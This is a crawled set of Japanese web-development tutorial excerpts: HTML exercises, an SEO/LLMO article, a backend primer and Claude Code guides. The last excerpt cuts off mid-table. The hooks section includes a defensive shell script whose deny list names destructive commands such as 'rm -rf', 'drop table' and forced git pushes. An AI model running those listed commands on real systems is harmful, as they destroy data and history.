<th>年齢</th> <th>職業</th> </tr> </thead> <tbody> <tr> <td>山田太郎</td> <td>25</td> <td>エンジニア</td> </tr> <tr> <td>佐藤花子</td> <td>30</td> <td>デザイナー</td> </tr> <tr> <td>鈴木一郎</td> <td>28</td> <td>ディレクター</td> </tr> </tbody> </table> 問題4：お問い合わせフォームを作ろう お題：名前（テキスト入力）、メールアドレス、問い合わせ種別（セレクトボックス）、メッセージ（テキストエリア）、送信ボタンを含むフォームを作成してください。 ヒント：<label> と <input> を for/id で紐付けるとアクセシビリティが向上します。 解答例を見る <form> <div> <label for="name">名前</label> <input type="text" id="name" name="name" required> </div> <div> <label for="email">メールアドレス</label> <input type="email" id="email" name="email" required> </div> <div> <label for="category">問い合わせ種別</label> <select id="category" name="category"> <option value="">選択してください</option> <option value="general">一般的な質問</option> <option value="bug">不具合の報告</option> <option value="other">その他</option> </select> </div> <div> <label for="message">メッセージ</label> <textarea id="message" name="message" rows="5"></textarea> </div> <button type="submit">送信</button> </form> 問題5：セマンティックHTMLでページ構造を作ろう お題：header・nav・main・article・aside・footerタグを使って、ブログ記事ページの骨格を作成してください。中身はダミーテキストで構いません。 ヒント：セマンティックHTMLはSEOとアクセシビリティの両方に貢献します。<div> の代わりに意味のあるタグを使いましょう。 解答例を見る <header> <h1>My Blog</h1> <nav> <ul> <li><a href="#">ホーム</a></li> <li><a href="#">記事一覧</a></li> <li><a href="#">お問い合わせ</a></li> </ul> </nav> </header> <main> <article> <h2>記事タイトル</h2> <p>記事の本文がここに入ります。</p> </article> <aside> <h3>関連記事</h3> <ul> <li><a href="#">関連記事1</a></li> <li><a href="#">関連記事2</a></li> </ul> </aside> </main> <footer> <p>© 2026 My Blog</p> </footer> 問題6：ネストされたリストを作ろう お題：「フロントエンド」「バックエンド」「ツール」の3カテゴリーに分けた技術スタックリストを作成してください。親リストは順序なし、子リストは順序付きにしましょう。 ヒント：<li> の中に <ol> や <ul> をネストできます。 解答例を見る <h2>技術スタック</h2> <ul> <li>フロントエンド <ol> <li>HTML/CSS</li> <li>JavaScript</li> <li>React</li> </ol> </li> <li>バックエンド <ol> <li>PHP</li> <li>Node.js</li> <li>Python</li> </ol> </li> <li>ツール <ol> <li>VSCode</li> <li>Git</li> <li>Docker</li> </ol> </li> </ul> 問題7：動画を埋め込もう お題：HTMLの <video> タグでローカル動画を再生できるプレーヤーと、<iframe> でYouTube動画を埋め込んでください。動画は自動再生しない設定にしましょう。 ヒント：<video> には controls 属性を付け、<iframe> には loading="lazy" を追加するとパフォーマンスが向上します。 解答例を見る <h2>動画プレーヤー</h2> <video controls width="640" height="360"> <source src="sample.mp4" type="video/mp4"> お使いのブラウザは動画再生に対応していません。 </video> <h2>YouTube埋め込み</h2> <iframe width="560" height="315" src="https://www.youtube.com/embed/dQw4w9WgXcQ" title="YouTube動画" allow="accelerometer; clipboard-write; encrypted-media; gyroscope" allowfullscreen loading="lazy"> </iframe> 中級編：CSSレイアウト（8〜14問） 問題8：ボックスモデルを理解しよう お題：幅300px・高さ200pxのボックスを3つ横に並べてください。各ボックスにpadding 20px、border 2px、margin 16pxを設定し、box-sizing: border-box を使いましょう。 ヒント：border-box を指定すると、paddingとborderが幅に含まれるため計算が簡単になります。横並びは次の問題で学ぶFlexboxを先取りしても構いません。 ### [有料広告 vs SEO+AEO+LLMO｜AI検索時代に「本物」が勝つ理由](https://codequest.work/ads-vs-seo-aeo-llmo/) AI検索時代に有料広告とSEO+AEO+LLMOのどちらへ寄せるべきかは、AI検索の回答面には検索広告の在庫がそのままは載らないという構造で決まります。ChatGPTにもGoogleのAI Overviewsにも広告そのものは存在します。ただしそれらは既存の検索広告アカウントの延長線上にはなく、いま回しているGoogle広告の予算をいくら積んでも、ChatGPTの回答の中には出ません。一方でAI回答の「引用元」として並ぶ枠は、入札ではなくコンテンツの中身で決まります。買える枠と買えない枠が分かれている——これがこの記事の出発点です。 SEO+AEO+LLMOとは、検索エンジンでの上位表示を狙うSEO、AIの「回答」として選ばれることを狙うAEO、大規模言語モデルの回答で参照・推薦されることを狙うLLMOを束ねた呼び方です。それぞれの正確な定義と使い分けはAIO・AEO・GEO・LLMOの違いを整理した記事にまとめてあります。なお本記事の前半では、Googleの求人票に出てくるGEO（Generative Engine Optimization）という語を扱いますが、処方箋の側で使っているLLMO はGEOとほぼ同義の言い換えです。呼び名が入れ替わるだけで、指しているものは同じだと思って読み進めてください。 この記事は「本物が勝つ」という主張を扱います。だからこそ、主張のひとつずつに一次ソースを付けました。裏が取れなかった主張は書きません。そして最後に、ここまでの話をあなた自身のサイトで確かめるための3つの計測を置いてあります。読んで納得して終わるのではなく、自分の数字で合否を出すところまでを射程にしています。 Googleの求人票が示したもの 2026年4月、Googleが「GEO Partner Manager, Performance Solutions, Large Customer Sales」という職種の求人を公開しました。GEOとはGenerative Engine Optimization（生成エンジン最適化）の略で、AIが生成する回答に自社の情報を引用させる最適化手法です。求人本体はGoogle Careersの募集ページで、報じたのはSearch Engine Journal（2026年4月22日・Matt G. Southern）です。 職務内容には、こう書かれています。 shape the GEO ecosystem to prioritize Google surfaces （GEOのエコシステムが、Googleの所有する面を優先するよう形づくる） ここで訳を丁寧に扱う必要があります。surfaces は「Google検索」だけを指しません。Googleが所有・運営する面の総称で、検索結果に限らずYouTubeやDiscover、Googleマップなども含みます。「Google検索面を優先させる」と狭く訳すと、この求人の射程を読み違えます。 この求人は「Google検索の見解」ではない もっと重要なのは所属組織です。この職は Google Ads の Large Customer Sales（大口広告主を担当する広告営業組織）に置かれています。Google検索チームのポジションではありません。Search Engine Journalは同じ記事の中で、Google検索側の立場がこれと対照的であることに触れています。Google SearchのGary Illyesは2025年7月に、AI OverviewsやAI Modeに対しては通常のSEOで十分であり、AEO/GEOという特別な最適化は不要だという趣旨を述べており、記事公開時点でその案内は更新されていません。 つまりこの求人から読み取れる事実は、「Googleが脅威を感じている」ではありません。広告営業の側がGEO事業者を影響チャネルとして正式に扱い始めた、という1点です。ここから先は筆者の解釈になりますが、検索側が「特別な最適化は要らない」と言い、広告側が「GEOのエコシステムを形づくる人材を採る」と動いている。社内で立場が割れていること自体が、この領域がまだ固まっていない何よりの証拠だと筆者は読んでいます。Googleが公式に「AI検索を脅威と認識している」と述べた資料は、確認できた範囲では存在しません。 2つの可視性：「買う」か「勝ち取る」か Web上で自社の情報をユーザーに届ける方法は、大きく2つに分かれます。 項目有料広告SEO+AEO+LLMO可視性の獲得方法お金を払って表示枠を買うコンテンツの質と信頼性で勝ち取る持続性予算が止まれば消える資産として蓄積される表示のされ方「広告」「Sponsored」ラベル付きで区別される検索エンジンやAIが選んだ情報として表示されるAI回答面への到達AI検索の広告在庫は検索広告とは別枠。既存の運用のままでは届かない回答の引用元として選ばれうる（入札では買えない）コスト構造CPC（クリック課金）で変動初期投資は必要だが限界費用は低い参入障壁低い（予算があれば誰でも）高い（専門性・実績・信頼が必要） 有料広告は「お金で買う可視性」、SEO+AEO+LLMOは「実力で勝ち取る可視性」です。どちらが優れているかではなく、AI検索が普及した先でどちらの比重が大きくなるか、そして自社の流入が今どちらに寄りかかっているかが問題になります。後者は感覚では分かりません。記事の後半でその測り方を扱います。 有料広告の「見えない弱点」を数字で見る 有料広告は即効性のある強力な手段です。ただしAI検索の広がりとともに、構造的な弱点がいくつか顕在化しています。ここでは「よく言われているが実は違うこと」と「データで裏が取れること」を分けて扱います。 「AI検索には広告が無い」は誤り。正しくは「別在庫」 まず訂正から入ります。「ChatGPTやPerplexityに聞いたとき広告は表示されない」という説明は、すでに事実と異なります。 ChatGPT：OpenAIは2026年1月16日に広告表示の計画を発表し、米国の成人ユーザーを対象にFreeプランと月8ドルのChatGPT Goプランで表示を開始しました。回答の下部に「Sponsored」ラベル付きで表示され、Plus・Pro・Business・Enterpriseは対象外です（SiliconANGLE・2026年1月16日） Perplexity：2024年11月に広告プログラムを開始したものの、2026年2月18日に恒久的な撤退を表明しました。「ラベルを付けても、ユーザーがすべてを疑い始めてしまう」というのが理由です（Techloy・2026年2月19日） Google AI Overviews：Googleは米国モバイルのAI Overviews内に広告を配信しています（Alphabet 2025年第1四半期決算説明会） つまり「AI検索には広告がない」のではなく、AI検索の広告在庫は検索広告とは別枠であり、既存のGoogle広告の運用ではそこに届かないというのが正確な言い方です。Perplexityの例が示すとおり、どのAI検索に広告枠があるかは時期によって反転します。「AI検索には広告がない」を前提に組んだ戦略は、半年で前提が崩れる可能性があります。 したがって「月100万円かけてもAI検索経由のユーザーには一切届かない」とも言えません。届かないのは「いま回しているアカウントのまま」の場合であって、AI検索側の在庫に別途出稿する道は存在します。ただし、その在庫は日本ではまだ限定的で、出稿できたとしても回答本文の中に入り込めるわけではない点は変わりません。回答本文の引用元は、依然として買えない枠です。 ゼロクリック検索は、実測で増えている ここは裏が取れる領域です。SparkToroがSimilarwebのクリックストリームデータをもとに公開した分析によると、2026年1〜4月の米国におけるGoogle検索の68.01%がクリックなしで終わっています。2024年の同数値は60.45%で、2年で7.5ポイント上昇しました（SparkToro・Rand Fishkin・2026年6月8日）。 AI要約の有無で比べた調査もあります。Pew Research Centerが米国成人900人のブラウジングデータ（2025年3月・68,879件のGoogle検索）を分析したところ、AI要約が表示された検索で検索結果のリンクがクリックされたのは8%、表示されなかった検索では15%でした。AI要約の中に並んだ出典リンクがクリックされたのは、わずか1%です（Pew Research Center・2025年7月22日）。 いずれも米国のデータであり、日本の検索行動にそのまま当てはまるとは限りません。日本語圏のAI Overviews表示率は英語圏と異なるため、自社の実数はSearch Consoleで確かめる必要があります。ゼロクリックへの具体的な対処はクエリファンアウトとゼロクリック対策のガイドで扱っています。 「広告は避けられている」は裏が取れなかった この記事は以前、「ユーザーは広告ラベルの付いた結果を無意識にスキップする傾向が年々強まっている」「リテラシーの高いユーザーほど広告を避ける」と書いていました。この2つを裏づける一次データを見つけられなかったため、主張を取り下げます。もっともらしく聞こえる話ほど、出典を確かめないまま流通します。 むしろ確実なのは逆側の事実です。Alphabetの2025年第1四半期決算説明会で、Google最高ビジネス責任者のPhilipp Schindlerは「AI Overviews全体で、引き続きおおむね同水準の収益化（monetization at approximately the same rate）が見られている」と述べています（Alphabet 2025年Q1決算説明会トランスクリプト）。広告が急速に効かなくなっている、という単純な話ではありません。 SEO+AEO+LLMOが持つ「本物」の力 AI時代に価値が高まるのは、実際の経験と専門性に裏打ちされた情報です。AIが大量のコンテンツを生成できる時代だからこそ、「誰が、何をやって、何を言っているか」が問われます。 これはGoogleのE-E-A-T（Experience・Expertise・Authoritativeness・Trustworthiness＝経験・専門性・権威性・信頼性）の考え方と重なります。ただしここで一つ注記が要ります。Google検索セントラルの公式ドキュメントには、「E-E-A-Tそれ自体は特定のランキング要因ではない（While E-E-A-T itself isn't a specific ranking factor）」と明記されています。同時に「良いE-E-A-Tを持つコンテンツを識別できる複数の要素の組み合わせを使うことは有用だ」とも書かれています（Google検索セントラル「Creating helpful, reliable, people-first content」）。 つまりE-E-A-Tは、上げれば順位が上がるスイッチではありません。Googleが「良いコンテンツとは何か」を説明するための枠組みであり、実際のランキングはそれを識別しようとする複数の要素で決まります。この区別を曖昧にしたまま「E-E-A-T対策」を売り込む言説は疑ってかかるべきです。E-E-A-Tの実装レベルの話はWeb制作におけるE-E-A-Tの記事にまとめています。 ### [バックエンドとは？サーバー・DB・APIの全体像をわかりやすく解説](https://codequest.work/backend-basics-guide/) バックエンドとは、Webアプリケーションの「裏側」で動くサーバー・データベース・APIの総称です。ブラウザから届いたリクエストを受け取り、データを保存・取得・加工して、レスポンスとして返すまでの処理を担当します。ユーザーの画面には映りませんが、ログイン・検索・購入といった「データが動く機能」はすべてバックエンドが実行しています。 この記事では、バックエンドの役割・構成要素・主要言語の選び方・セキュリティの基本までを一記事で解説します。加えて、Node.js + Express の最小APIサーバーをゼロから起動して動作確認するまでを通しで扱います。読み終えたときに「概念はわかったが手元では何も動いていない」状態にならないことを目標にしています。 掲載しているコードとコマンドは、Node.js v23.9.0 / npm 10.9.2 / Express 5.2.1 の環境で実際に実行し、レスポンスのステータスコードとContent-Typeまで確認したものです。 バックエンドとは何か Webアプリケーションは「フロントエンド」と「バックエンド」の2層で構成されています。フロントエンドはユーザーが直接触れるUI（画面）の部分。バックエンドはその裏側で、データの保存・処理・配信を行う部分です。 たとえばECサイトで商品を検索すると、ブラウザがサーバーにリクエストを送り、サーバーがデータベースから商品データを取得し、JSONとしてブラウザに返します。この「リクエストを受けてからレスポンスを返すまで」がバックエンドの仕事です。 バックエンドが担当する5つの領域 「バックエンド」と一言でいっても、実際には次の5領域を指しています。求人票やスクールのカリキュラムに並ぶ用語も、ほぼこの5つのどれかに分類できます。 サーバー処理 — リクエストの受信、URLごとの振り分け（ルーティング）、レスポンスの生成 データベース — ユーザー情報・記事データ・注文履歴の保存と取得 認証・認可 — ログイン、セッション管理、「誰が何にアクセスしてよいか」の制御 API設計 — フロントエンドやモバイルアプリとデータをやり取りする窓口の設計 外部サービス連携 — メール送信、決済処理、ファイルストレージなどの呼び出し この5領域のうち、最初に手を動かすべきなのは1番目の「サーバー処理」です。リクエストを受けてレスポンスを返す最小の形さえ動けば、残りの4つはそこに機能を足していく作業になります。本記事の後半では、その最小の形を実際に起動します。 フロントエンドとバックエンドの違い フロントエンドとバックエンドの境界は「HTTPリクエスト」です。ブラウザがサーバーにリクエストを送った瞬間、処理はフロントエンドからバックエンドに移ります。逆にレスポンスが返った瞬間、処理はフロントエンドに戻ります。 リクエストからレスポンスまでの5ステップ ユーザー一覧を表示する画面を例に、処理がどこを通るかを順番に追います。「どの主体が」「何をして」「次に何を渡すか」の3点で見ると、責務の境界がはっきりします。 順主体やること次に渡すもの1ブラウザ（フロントエンド）画面表示やクリックを起点にリクエストを組み立てるHTTPリクエスト GET /api/users2サーバー（バックエンド）URLとメソッドを見て担当の処理へ振り分けるSQLクエリ SELECT * FROM users3データベース条件に合う行を探して返す結果セット（行の集合）4サーバー（バックエンド）結果をJSONに整形し、ステータスコードを付けるHTTPレスポンス 200 + JSON5ブラウザ（フロントエンド）JSONを受け取ってDOMを更新する画面描画（ユーザーに見える結果） バックエンドが登場するのは2と4だけです。「サーバーサイドの処理」と言われると広大に感じますが、実体は受け取って、探して、整えて、返すの4動作に集約されます。 責務の比較 観点フロントエンドバックエンド実行環境ユーザーのブラウザ自分たちが管理するサーバー主な言語JavaScript / TypeScriptNode.js / Python / Go / PHP / Javaデータ表示と入力バリデーション（UX目的）保存・取得・ビジネスロジック（正当性の担保）セキュリティ出力エスケープなど表示面の対策認証・認可・インジェクション対策コードの秘匿性閲覧者に全部見える閲覧者からは見えないスケールCDNで静的配信ロードバランサー・水平スケーリング 特に重要なのは「コードの秘匿性」の行です。フロントエンドのコードは開発者ツールで誰でも読めるため、APIキーや権限チェックをフロントに置くことはできません。これがセキュリティ責任がバックエンドに寄る理由です。 HTTPの基礎 — リクエストとレスポンス バックエンドを理解するうえで避けて通れないのがHTTPです。Web上の通信は、クライアント（ブラウザやアプリ）がHTTPリクエストを送り、サーバーがHTTPレスポンスを返すことで成り立っています。HTTPの意味論（メソッドやステータスコードが何を表すか）は RFC 9110「HTTP Semantics」 で規定されています。 HTTPメソッド メソッドは「そのリクエストで何をしたいか」を表します。各メソッドの定義は MDN「HTTP リクエストメソッド」 にまとまっています。 メソッド用途具体例GETデータの取得記事一覧の表示、ユーザー情報の取得POSTデータの作成新規ユーザー登録、記事の投稿PUT / PATCHデータの更新プロフィールの編集、記事の修正DELETEデータの削除アカウントの削除、コメントの削除 GETは何度実行しても結果が変わらない（安全・べき等）のに対し、POSTは実行するたびにデータが増えます。「リロードで二重登録される」不具合の多くは、この区別を無視した設計から生まれます。 ステータスコード サーバーは処理結果を3桁のステータスコードで返します。開発中に頻繁に目にするものを押さえておきましょう。全コードの一覧と正式な意味は MDN「HTTP レスポンスステータスコード」 で確認できます。 コード意味よくある場面200成功正常にデータを取得・更新できた201作成成功POSTで新規リソースが作られた400リクエスト不正バリデーションエラー401未認証ログインしていない403権限なし認証済みだがアクセス権がない404未検出リソースやルートが存在しない500サーバーエラーバックエンド側のバグや障害 401と403の混同は実務でも頻出です。401は「あなたが誰かわからない」、403は「あなたが誰かはわかるが、それは許可されていない」と覚えると取り違えません。この記事の後半では、実際にサーバーを起動して200・201・400・404の4つを自分の手で発生させます。 データベースの役割 バックエンドの中核にあるのがデータベースです。サーバーのプロセスは再起動すればメモリ上のデータを失いますが、データベースに書いたデータは残ります。この「永続化」がデータベースの存在理由です。 RDB（リレーショナルデータベース） テーブル（表）形式でデータを管理し、SQLで操作します。列の型や制約をあらかじめ決めるためデータの整合性が高く、Webアプリで最も広く使われている方式です。 DB特徴よく使われる場面PostgreSQL標準SQLへの準拠度が高く、拡張機能が豊富Webアプリ全般、大規模サービスMySQLWeb系の採用実績が長く、情報とホスティングが多いWordPress、LAMP環境SQLiteサーバー不要のファイルベース。設定なしで使えるローカルアプリ、プロトタイピング、学習 なお「MySQLがシェアNo.1」という説明を見かけることがありますが、公開されている指標で確認する限り断定はできません。DB-Engines Ranking（434製品が対象・2026年7月時点）の総合順位は1位 Oracle、2位 MySQL、3位 Microsoft SQL Server、4位 PostgreSQLで、MySQLは2位です。またこのランキングは求人数・検索頻度・技術系フォーラムでの言及数などから算出した「人気度スコア」であり、実際の稼働数やシェアそのものを測ったものではありません。DBを選ぶときは順位ではなく、後述の用途との相性で決めてください。 NoSQL テーブル構造に縛られない柔軟なデータ格納方式です。大量データの高速処理や、スキーマが頻繁に変わるケースに向いています。 DB種類よく使われる場面MongoDBドキュメント型柔軟なスキーマが必要なアプリRedisキーバリュー型キャッシュ、セッション管理Firebase Firestoreドキュメント型モバイルアプリ、リアルタイム同期 学習の順序としては、まずRDB（SQLiteまたはPostgreSQL）から始めるのが王道です。SQLの基本が身につけばNoSQLの理解もスムーズに進みます。PHPとMySQLで登録・取得・更新・削除を一通り書く手順は PHPでMySQLを操作する方法｜PDOでCRUDを実装する で、あいまい検索の実装は PHP×MySQLで検索機能を作る方法 で追えます。SQLiteをアプリに組み込む例は SQLiteで履歴を管理するElectron製クリップボードアプリ が参考になります。 バックエンド言語の選び方 バックエンド開発には複数の言語が使われています。「どれが最強か」ではなく、自分の目的と環境に合った言語を選ぶことが重要です。ルーティング・ミドルウェア・ORM・認証といった概念は言語をまたいで共通なので、1つを深く学べば移行のコストは小さくなります。 主要言語の比較と選ぶ理由 言語主要フレームワーク特徴これを選ぶ理由になる状況Node.jsExpress, Fastify, NestJSJavaScriptでフロントと同じ言語を使えるすでにJavaScriptを書ける／SPAと連携するPythonFastAPI, Django, Flask読みやすい文法、AI・データ系ライブラリが充実機械学習やデータ分析にも広げたいGonet/http, Gin, Echoコンパイル言語で実行が速く並行処理に強い高負荷API・マイクロサービスを想定するPHPLaravel, WordPressWeb開発の実績とレンタルサーバー対応が豊富WordPress案件や受託制作を深めたいJavaSpring Boot静的型付けと大規模向けのエコシステム大人数チーム・長期運用の堅牢性を優先するRubyRuby on Rails規約重視で初期の開発速度が出やすいスタートアップで素早く形にしたい フロントエンド側のフレームワークとの関係を整理したい場合は React.js・Vue.js・Node.jsの違いとは？特徴・用途・選び方を徹底比較 も合わせて読むと、どこまでがフロントでどこからがバックエンドかの線引きがはっきりします。 表のなかでPythonが気になった方は Python入門｜Web制作者が最短で書けるようになる基礎とできること で基礎文法とできることを確認できます。ブラウザだけで動く練習問題もあるので、インストールする前に書き味を試せます。 最小構成のAPIサーバーを起動する（Node.js + Express） ここからは実際に手を動かします。以下の手順をそのまま実行すれば、GET /api/users に応答するAPIサーバーが立ち上がります。必要なのは Node.js がインストール済みであることだけです。 ### [Claude Code上級編｜MCP・Hooks・Skills・サブエージェント実践ガイド](https://codequest.work/claude-code-advanced-mcp-hooks-guide/) Claude Codeの基本コマンドを覚えたら、次はMCPサーバー・Hooks・Skills・サブエージェントといった拡張機能を使いこなす段階です。 この記事では、Claude Codeを「開発環境そのもの」に組み込むための上級テクニックを、実装コード付きで解説します。 MCPサーバー — 外部ツールとの接続 MCP（Model Context Protocol）は、Claude Codeを外部のツール・API・データベースに接続する標準プロトコルです。MCP公式仕様（2026-07-28版）が標準トランスポートとして定義しているのは stdio と Streamable HTTP の2つで、かつて独立した方式だった HTTP+SSE は非推奨になっています（2026年8月時点）。 設定ファイルの配置 場所スコープ用途.claude/.mcp.jsonプロジェクトチーム共有（Git管理）~/.claude/.mcp.jsonユーザー全体個人ツール（全プロジェクト共通） stdio方式 — ローカルプロセス連携 最も一般的な接続方式です。Claude Codeがサーバープロセスを起動し、stdin/stdoutでJSON-RPCメッセージをやり取りします。 { "mcpServers": { "github": { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-github"], "env": { "GITHUB_PERSONAL_ACCESS_TOKEN": "${GH_PAT}" } }, "filesystem": { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "."] } } } envフィールドでは${変数名}構文でシェルの環境変数を参照できます。APIキーをハードコードせずに管理できます。 HTTP方式 — リモートサーバー連携 リモートのMCPサーバーに接続する場合に使います。設定では "type": "http" を指定します（MCP仕様が Streamable HTTP と呼ぶトランスポートで、"streamable-http" も同義として受け付けられます）。かつて使われていた "type": "sse" は非推奨で、Claude Codeの公式ドキュメントも「SSEトランスポートは非推奨。可能な場合はHTTPサーバーを使うこと」と明記しています。 { "mcpServers": { "remote-analytics": { "type": "http", "url": "https://mcp.example.com/mcp", "headers": { "Authorization": "Bearer ${MCP_TOKEN}" } } } } カスタムMCPサーバーの自作（TypeScript） MCPは既製のサーバーを繋ぐだけでなく、自分で書くこともできます。社内APIや独自のデータベースをAIから扱わせたい場合は、公式のTypeScript SDK（@modelcontextprotocol/server）でツールを定義し、stdioでClaude Codeに接続します。最小構成なら20行ほどのコードで動きます。 プロジェクトの初期化からツールの定義、claude mcp add での登録、発火確認とデバッグまでの手順はMCPサーバーの作り方で解説しています。 MCPサーバーの管理コマンド コマンド説明claude mcp list接続中のMCPサーバー一覧と状態を表示claude mcp add サーバー名レジストリからMCPサーバーを追加/mcp対話中にMCPサーバーを管理claude --debug-file /tmp/debug.logMCP接続のデバッグログを出力 MCPの実践応用としては、Figma公式のDev Mode MCPサーバーを接続し、デザインからコードを自動生成するワークフローが代表例です。具体的な接続手順と使い方はFigmaとClaude Codeを連携する方法で解説しています。 同様の連携ガイドを、WordPress（公式MCP Adapterでサイト操作）・Chrome DevTools（ブラウザ実測・デバッグ）・Notion（仕様書・タスクの読み書き）についても公開しています。接続したいツールから選んでください。4ツールの比較と導入順はClaude CodeのMCP連携ガイド一覧にまとめています。 Hooks — ライフサイクルの自動化 Hooksは、Claude Codeの特定イベントに応じてシェルコマンドやHTTPリクエストを自動実行する機能です。.claude/settings.jsonに設定します。 フックイベント一覧 イベントタイミング用途PreToolUseツール実行前危険なコマンドのブロックPostToolUseツール実行後自動フォーマット・リントSessionStartセッション開始時環境変数の読み込みStopClaude応答完了時タスク完了チェックNotificationClaude入力待ち時デスクトップ通知PostCompactコンテキスト圧縮後コンテキストの再注入UserPromptSubmitユーザー入力送信時入力のバリデーション フックの4つのタイプ 1. command — シェルコマンド実行（最も一般的） { "hooks": { "PostToolUse": [ { "matcher": "Edit|Write", "hooks": [ { "type": "command", "command": "bash -c 'jq -r \".tool_input.file_path\" | xargs npx prettier --write'" } ] } ] } } 2. http — リモートエンドポイントにPOST { "hooks": { "PostToolUse": [ { "hooks": [ { "type": "http", "url": "https://audit.example.com/hooks/tool-use", "headers": { "Authorization": "Bearer ${AUDIT_TOKEN}" } } ] } ] } } 3. prompt — LLMによる判定（1ターン） { "hooks": { "Stop": [ { "hooks": [ { "type": "prompt", "prompt": "すべてのタスクが完了しているか確認し、JSON形式で回答してください。" } ] } ] } } 4. agent — サブエージェントによる検証（複数ターン） { "hooks": { "Stop": [ { "hooks": [ { "type": "agent", "prompt": "テストスイートを実行して全テストがパスすることを確認してください", "timeout": 120 } ] } ] } } 実践例: 危険コマンドのブロック #!/bin/bash # .claude/hooks/block-dangerous.sh INPUT=$(cat) COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty') DANGEROUS_PATTERNS=( "rm -rf" "drop table" "git push --force" ) for pattern in "${DANGEROUS_PATTERNS[@]}"; do if [[ "$COMMAND" == *"$pattern"* ]]; then echo "Blocked: $pattern detected" >&2 exit 2 fi done exit 0 フックの終了コードで動作が決まります。0は許可、2はブロック（stderrの内容が理由として表示）、それ以外はログ記録のみで続行します。 matcher構文 パターンマッチ対象説明BashBashツール完全一致Edit|WriteEditまたはWriteOR（論理和）mcp__github__.*GitHub MCP全ツール正規表現""（空文字）すべてのツールワイルドカード Skills — カスタムスラッシュコマンド Skillsは再利用可能なプロンプトテンプレートです。.claude/skills/スキル名/SKILL.mdに配置すると、/スキル名で呼び出せます。 SKILL.mdの構成 --- name: component-review description: Reactコンポーネントの品質レビューを実行 user-invocable: true allowed-tools: Read Grep paths: - "src/components/**/*.tsx" --- # コンポーネントレビュー 対象: $ARGUMENTS[0] 以下の観点でレビューしてください: 1. **TypeScript**: any型の使用、Props interfaceの命名 2. **パフォーマンス**: 不要な再レンダリング、メモ化の検討 3. **アクセシビリティ**: aria属性、キーボード操作 フロントマターの主要フィールド フィールド型説明namestringスキルのコマンド名descriptionstring自動呼び出しの判定に使用される説明文allowed-toolsstringスキル実行中に自動許可するツールpathsarrayスキルが有効になるファイルパターンcontextenumforkで隔離サブエージェントとして実行effortenum推論の深さ（low / medium / high / max） 動的コンテンツの埋め込み SKILL.md内でシェルコマンドの出力を動的に展開できます。!`コマンド`構文でスキル読み込み時に実行され、結果がプロンプトに埋め込まれます。 --- name: pr-summary context: fork --- ## PR情報 - **ブランチ**: !`git rev-parse --abbrev-ref HEAD` - **最新コミット**: !`git log -1 --oneline` - **変更ファイル**: !`git diff --name-only origin/main` 上記の変更を要約してください。 サブエージェント — 専門特化したAIアシスタント サブエージェントは、特定の専門領域に特化した独立エージェントです。親セッションから隔離されたコンテキストで動作し、並列処理にも対応します。 サブエージェント定義ファイルの作成 --- name: security-auditor description: セキュリティ観点のコードレビュー tools: Read Grep Bash(npm audit *) model: claude-opus-4-6 effort: high --- # セキュリティ監査エージェント 以下の観点でコードを監査してください: 1. OWASP Top 10の脆弱性 2. 認証・認可のフロー 3. 入力バリデーション 4. サードパーティ依存関係 深刻度をCRITICAL / HIGH / MEDIUM / LOWで分類し、 修正コード例を提示してください。 ### [Claude Codeコマンド一覧＆実践ガイド【2026年版】](https://codequest.work/claude-code-commands-guide/) Claude Codeは、Anthropic社が提供するAIコーディングアシスタントのCLI（コマンドラインインターフェース）ツールです。ターミナル上でClaudeと対話しながら、コードの作成・修正・レビュー・デバッグを行えます。 この記事では、Claude Codeで使えるコマンドを一覧で紹介し、実際の開発シーンでどう活用するかをユースケース別に解説します。 インストールと初期設定 Claude Codeはnpmでインストールします。Node.js 18以上が必要です。 npm install -g @anthropic-ai/claude-code インストール後、以下のコマンドで起動します。 # 対話モードで起動 claude # ログイン（初回のみ） claude auth login # プロジェクトの初期設定 claude /init /initを実行すると、プロジェクトのルートにCLAUDE.mdが生成されます。このファイルにプロジェクトのルールやコーディング規約を書いておくと、Claudeが毎回読み込んで従ってくれます。 スラッシュコマンド一覧 Claude Codeの対話中に/を入力するとコマンド一覧が表示されます。主要なコマンドをカテゴリ別にまとめました。 セッション管理 コマンド説明/clear会話をリセットして新しいセッションを開始/resume過去のセッションを再開（IDまたは名前で指定）/compact会話を要約してコンテキストを節約/copy直前の回答をクリップボードにコピー/export会話をテキストファイルとして書き出し/context現在のコンテキスト使用量をビジュアル表示 コード作業・レビュー コマンド説明/reviewプルリクエストをローカルでレビュー/diff未コミットの変更をインタラクティブに確認/planプランモードに入り、実装前に計画を立てる/rewind会話やコード変更を前の状態に巻き戻す/batch大規模な変更を並列で実行（5〜30のworktree）/loop指定した間隔でプロンプトを繰り返し実行/security-review保留中の変更にセキュリティ脆弱性がないか分析 設定・構成 コマンド説明/config設定画面を開く/initプロジェクトのCLAUDE.mdを初期化/doctorインストールや設定の問題を診断/permissionsツールの許可・拒否ルールを管理/memoryCLAUDE.mdの編集やオートメモリの管理/mcpMCPサーバーの接続管理/hooksフック設定の確認 モデル・動作設定 コマンド説明/modelAIモデルを変更（Opus / Sonnet / Haiku）/effort推論の深さを設定（low / medium / high / max）/fast高速モードの切替（Opus使用時に出力速度UP）/themeカラーテーマの変更 情報・ヘルプ コマンド説明/help利用可能なコマンドを一覧表示/costトークン使用量と費用を表示/usageプランの使用制限とレートリミット状況を表示/statusバージョン、モデル、アカウント、接続状態を表示/feedbackフィードバックやバグ報告を送信 CLIオプション（起動時フラグ） Claude Codeは起動時にフラグを指定することで、動作をカスタマイズできます。 よく使うフラグ # 直前のセッションを再開 claude -c # 特定のセッションを再開 claude -r "セッション名" # モデルを指定して起動 claude --model opus # 非対話モード（スクリプト組み込み用） claude -p "このコードのバグを見つけて" # パーミッションモードを指定 claude --permission-mode auto # 追加ディレクトリを指定 claude --add-dir /path/to/other/project SDK・自動化向けフラグ フラグ説明-p, --print非対話モードで結果を出力して終了--output-format jsonJSON形式で出力（スクリプト向け）--max-turns 10エージェントのターン数を制限--max-budget-usd 5コスト上限を設定（ドル）--json-schema指定したJSONスキーマに沿った出力を取得--system-promptシステムプロンプトを差し替え キーボードショートカット 対話中に使えるショートカットです。覚えておくと操作効率が上がります。 基本操作 ショートカット動作Ctrl+C生成を中断Ctrl+Dセッション終了Ctrl+L画面をクリアCtrl+Oトランスクリプトビューワーを開くEsc + Esc巻き戻し・要約 モード切替 ショートカット動作Shift+Tabパーミッションモードを切替Option+P（macOS）モデルを切替Option+T（macOS）拡張思考のON/OFFOption+O（macOS）高速モードのON/OFF 入力・編集 ショートカット動作\ + 